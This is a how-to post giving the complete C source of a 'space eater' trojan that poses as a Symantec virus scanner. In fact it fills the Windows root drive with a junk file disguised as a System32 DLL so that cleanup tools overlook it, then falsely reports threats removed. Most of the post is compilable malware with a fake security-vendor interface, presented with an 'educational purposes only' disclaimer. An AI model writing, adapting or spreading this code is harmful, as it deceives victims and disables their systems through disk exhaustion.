How to create a trojan virus in few simple steps.

The trojan horse which I have created appears itself as an antivirus program that scans the computer for malware programs. However, in reality it does nothing other than eating up the hard disk space on the root drive by filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result, the the root drive gets filled up completely with in minutes of running this program.

Once the disk space is full, the trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any of the cleanup program. This is because, the trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extension it is often ignored by the disk cleanup software. Hence there is now way to recover the hard disk space other than reformatting the drive.

The algorithm of the Trojan is as follows:

Search for the root drive.

Navigate to %systemroot%\Windows\System32 on the root drive.

Create the file named “spceshot.dll“.

Start dumping the junk data onto the above file and keep increasing its size until the drive is full.

Once the drive is full, stop the process.

Source Code:

Code:

/* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/

#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}